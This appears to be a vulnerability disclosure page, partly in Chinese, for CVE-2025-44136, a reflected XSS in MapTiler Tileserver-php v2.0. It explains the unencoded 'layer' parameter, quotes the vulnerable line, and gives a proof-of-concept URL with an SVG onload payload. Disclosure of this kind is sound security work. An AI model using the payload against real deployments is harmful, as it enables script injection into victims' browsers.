CVE-2025-44136 PoC — TileServer PHP 安全漏洞

介绍

# CVE-2025-44136 
Unauthenticated XSS in MapTiler Tileserver-php v2.0.

## Description
MapTiler Tileserver-php v2.0 is vulnerable to Cross Site Scripting
(XSS). The GET parameter "layer" is reflected in an error message
without html encoding. This leads to XSS and allows an unauthenticated
attacker to execute arbitrary HTML or JavaScript code on a victim's
browser.

https://github.com/maptiler/tileserver-php/blob/d0fdeaec69688dc500b652a23669d724d7d53df2/tileserver.php#L409
```
 echo 'Server: Unknown or not specified dataset "' . $tileset . '"';
```
## PoC

http://host/tileserver.php/wmts/x/1/1/asd?Request=x&layer=%3csvg+onload=alert(document.domain)%3e

文件快照

备注